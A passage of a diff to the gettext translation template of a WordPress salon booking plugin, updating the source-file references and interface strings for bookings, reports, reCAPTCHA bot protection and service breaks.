System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:40\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByServicesReport.php:36\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:394\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:431\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:527\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:669\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:673\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesReport.php:40\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FTopCustomersReport.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FRevenuesByServicesReport.php:36\n+msgid \"Bookings\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:199\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCalendar.php:199\n+msgid \"bookings\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:272\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:272\n msgid \"Bookings by Day of Week\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:267, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:267, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:267, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:263, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:267, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:267\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:279\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:279\n msgid \"Bookings by Hour\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:278, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:278, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:278, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:274, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:278, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:278\n-msgid \"Unlock capacity utilization and peak time insights\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:14\n+msgid \"Bootstrap assets\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:290, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:290, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:290, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:290, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:290\n-msgid \"No-Show Tracking\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:587\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:587\n+msgid \"Bot Protection\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:11\n+msgid \"Bot Protection (reCAPTCHA v3)\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:122\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:122\n+msgid \"Bot protection is ACTIVE\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:142\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:152\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:142\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:152\n+msgid \"Bot protection is DISABLED\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:869\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:963\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FRecaptchaVerifier.php:220\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:869\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:963\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FRecaptchaVerifier.php:220\n+msgid \"Bot verification failed. Please try again.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FRecaptchaVerifier.php:210\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FRecaptchaVerifier.php:210\n+msgid \"Bot verification service temporarily unavailable.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FRecaptchaVerifier.php:193\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FRecaptchaVerifier.php:193\n+msgid \"Bot verification token missing. Please refresh and try again.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:350\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:350\n+msgid \"break\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:291, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:291, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:291, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:291, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:291\n-msgid \"Track and analyze customer no-show patterns\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:310\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:310\n+msgid \"Break length\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:301, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:301, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:301, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:301, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:301\n-msgid \"Total No-Shows\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:331\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:331\n+msgid \"Break position\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:310, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:310, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:310, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:310, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:310\n-msgid \"No-Show Rate\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FForm.php:287\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FForm.php:287\n+msgid \"Browse files\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:319, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:319, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:319, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:319, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:319\n-msgid \"Affected Bookings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:533\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:533\n+msgid \"Business Plan\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:80\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:80\n+msgid \"Business Type\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:195\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:195\n+msgid \"buy pro\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:328, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:328, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:328, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:328, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:328\n-msgid \"No-Show Rate Trend\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:362\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:399\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:362\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:399\n+msgid \"Buyer:\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:367\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:579\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:367\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:579\n+msgid \"by\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:335, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:335, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:335, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:335, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:335\n-msgid \"Recent No-Shows\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:365\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:449\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:365\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:449\n+msgid \"by Email\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:337, views\u002Fadmin\u002Freports-dashboard.php:389, views\u002Fadmin\u002Freports-dashboard.php:427, views\u002Fadmin\u002Freports-dashboard.php:500, views\u002Fadmin\u002Freports-dashboard.php:520, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:337, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:389, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:427, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:500, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:520, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:337, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:389, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:427, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:500, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:520, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:317, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:355, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:428, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:448, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:337, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:389, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:427, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:500, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:520, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:337, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:389, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:427, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:500, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:520\n-msgid \"Loading...\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:368\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:452\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:368\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:452\n+msgid \"by SMS\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:346, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:346, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:346, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Freports-dashboard.php:346, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Freports-dashboard.php:346\n-msgid \"Unlock no-show tracking and analytics\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:372\n+msgid \"Cache cleared and fresh data fetched\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Freports-dashboard.php:360, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Freports-dashboard.php:360, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:360, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Freports-dashboard.php:288, 